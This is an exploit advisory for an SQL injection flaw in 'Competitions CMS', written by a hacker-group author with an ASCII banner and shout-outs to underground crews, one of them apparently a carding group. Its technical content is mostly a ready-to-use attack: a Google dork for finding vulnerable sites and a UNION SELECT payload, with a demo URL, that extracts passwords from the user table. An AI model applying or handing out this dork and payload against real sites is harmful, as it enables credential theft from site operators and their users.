============================================= Competitions CMS SQL Injection Vulnerability ============================================= [+]Title : Competitions CMS SQL Injection Vulnerability [+]Software : Competitions CMS [+]Vendor : NN [+]Download : NN [+]Author : jos_ali_joe [+]Contact : josalijoe[at]yahoo[dot]com [+]Home : http://josalijoe.wordpress.com/ [+]Web : http://indonesiancoder.com/ .___ .___ .__ _________ .___ | | ____ __| _/ ____ ____ ____ ______|__|_____ ____ \_ ___ \ ____ __| _/ ____ _______ | | / \ / __ | / _ \ / \ _/ __ \ / ___/| |\__ \ / \ / \ \/ / _ \ / __ | _/ __ \ \_ __ \ | || | \/ /_/ | ( <_> )| | \\ ___/ \___ \ | | / __ \_| | \\ \____( <_> )/ /_/ | \ ___/ | | \/ |___||___| /\____ | \____/ |___| / \___ >/____ >|__|(____ /|___| / \______ / \____/ \____ | \___ > |__| \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ ######################################################################## Dork : inurl:"competitions.php?id=" ######################################################################## ------------------------------------------------------------------------ SQL Exploit Exploit : +union+select+1,password,3,4,5,6,7,8+from+user/* Demo Exploit : http://127.0.0.1/competitions.php?id=-75+union+select+1,password,3,4,5,6,7,8+from+user/* -------------------------------------------------------------------------- Greets For : ./Devilzc0de crew - Kebumen Cyber - Explore Crew - Indonesian Hacker - Tecon Crew ./Byroe Net - Yogya Carderlink - anten4 - Wannabe Hacker - DuniaSantai.com - All Underground Forum Indonesia My Team : ./Indonesian Coder Special Thanks : Security Reason [+] Note : Hacking bukanlah tentang jawaban. Hacking adalah tentang jalan yang kamu ambil untuk mencari jawaban. Jika kamu membutuhkan bantuan, Jangan bertanya untuk mendapatkan jawaban, Bertanyalah tentang jalan yang harus kamu ambil untuk mencari jawaban untuk dirimu sendiri. [+] Note : Nggo Sodaraku Virgi sing sabar yo moga kowe cepet sembuh iso sehat koyo ndisit neh . Iso dolan mbi konco2 mu neng sekolah lan kampung mu . ojo lali mbi konco cyber maya iki . mengko ndang muter2 google maning ya virgi golek sing aneh2 =)) Semoga Cepet Sembuh Sodaraku tetep semangat yo To : Virgiawan Listanto a.k.a Kodok Maho